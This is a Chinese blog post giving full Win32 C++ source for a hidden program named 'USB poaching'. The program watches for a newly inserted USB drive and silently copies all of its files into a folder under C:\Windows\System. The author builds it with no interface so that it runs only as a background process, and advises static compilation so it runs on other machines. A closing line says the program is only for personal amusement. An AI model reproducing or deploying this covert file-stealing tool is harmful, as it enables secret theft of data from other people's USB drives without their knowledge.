自动拷贝U盘的数据—

由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。

对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前

计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。

为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。


下面是程序的源代码(用VS2017编译):


 

  1 // USB盗猎.cpp : 定义应用程序的入口点。
  2 // 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
  3 // 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译
  4 
  5 #include "stdafx.h"
  6 #include "USB助手.h"
  7 #include <windows.h>
  8 #include <iostream>
  9 #include <string>
 10 #include <strsafe.h>
 11 #include <tchar.h>
 12 #define  MAX_PATH_ME   256
 13 #define  SOURCE_PATH   TEXT("C:\\Windows\\System\\text1")
 14 
 15 using namespace std;
 16 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]);                        //遍历U盘下的所有文件
 17 
 18 int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
 19     _In_opt_ HINSTANCE hPrevInstance,
 20     _In_ LPWSTR    lpCmdLine,
 21     _In_ int       nCmdShow)
 22 {
 23 
 24     CreateDirectory(SOURCE_PATH, NULL);
 25     TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH;
 26     TCHAR Path[MAX_PATH_ME] = TEXT("");
 27     TCHAR Drive[26] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' };
 28     char i = 0;
 29     DWORD Drive_Old = GetLogicalDrives();
 30     while (1)
 31     {
 32         DWORD Drive_New = GetLogicalDrives();
 33         if (Drive_Old != Drive_New)
 34         {
 35             Drive_New = Drive_New - Drive_Old;
 36             while (1)
 37             {
 38                 if ((Drive_New & 1) != 0)
 39                     break;
 40                 Drive_New >>= 1;
 41                 i++;
 42             }
 43             break;
 44         }
 45     }
 46     Sleep(10000);
 47     Path[0] = Drive[i];
 48     Path[1] = '\0';                            //StringCchCat:在使用时需要path最后一位是‘\0’
 49     StringCchCat(Path, MAX_PATH_ME, TEXT(":"));
 50     Traver_File(Path, szFile);
 51     return 0;
 52 }
 53 
 54 void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME])
 55 {
 56     WIN32_FIND_DATAW lpFindFileData;
 57     HANDLE hFind = INVALID_HANDLE_VALUE;
 58 
 59     TCHAR szDir[MAX_PATH_ME];
 60     TCHAR szDir1[MAX_PATH_ME] = TEXT("");
 61     TCHAR szDir2[MAX_PATH_ME] = TEXT("");
 62     TCHAR szFile[MAX_PATH_ME] = TEXT("");            //把文件拷贝的源地址
 63 
 64     TCHAR T_szDir[MAX_PATH_ME] = TEXT("");
 65     TCHAR T_szDir2[MAX_PATH_ME] = TEXT("");
 66     TCHAR T_szDir1[MAX_PATH_ME] = TEXT("");
 67     TCHAR T_szFile[MAX_PATH_ME] = TEXT("");            //把文件拷贝的目的地址
 68 
 69     StringCchCopy(T_szDir, MAX_PATH_ME, T_Path);
 70     StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir);
 71 
 72     //获取源文件地址的操作
 73     StringCchCopy(szDir, MAX_PATH_ME, Path);
 74     StringCchCopy(szDir2, MAX_PATH_ME, szDir);
 75     StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*"));
 76     hFind = FindFirstFileW(szDir, &lpFindFileData);
 77     do
 78     {
 79         StringCchCopy(szFile, MAX_PATH_ME, szDir2);
 80         StringCchCopy(szDir1, MAX_PATH_ME, szDir2);
 81 
 82         StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir);
 83         StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2);
 84 
 85         if (lpFindFileData.cFileName[0] == '.')
 86         {
 87             continue;
 88         }
 89         else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
 90         {
 91             StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\"));
 92             StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName);
 93 
 94             StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\"));
 95             StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName);
 96 
 97             CreateDirectory(T_szDir1, NULL);
 98             Traver_File(szDir1, T_szDir1);
 99         }
100         else
101         {
102             StringCchCat(szFile, MAX_PATH_ME, TEXT("\\"));
103             StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName);
104 
105             StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\"));
106             StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName);
107 
108             CopyFile(szFile, T_szFile, false);
109             StringCchCopy(szFile, MAX_PATH_ME, TEXT(""));
110             StringCchCopy(T_szFile, MAX_PATH_ME, TEXT(""));
111 
112         }
113     } while (FindNextFileW(hFind, &lpFindFileData) != 0);
114 }

 

————本程序只可自己玩,不可另做它用!!!

 

版权声明:本文为ghost-98210原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/ghost-98210/p/9928447.html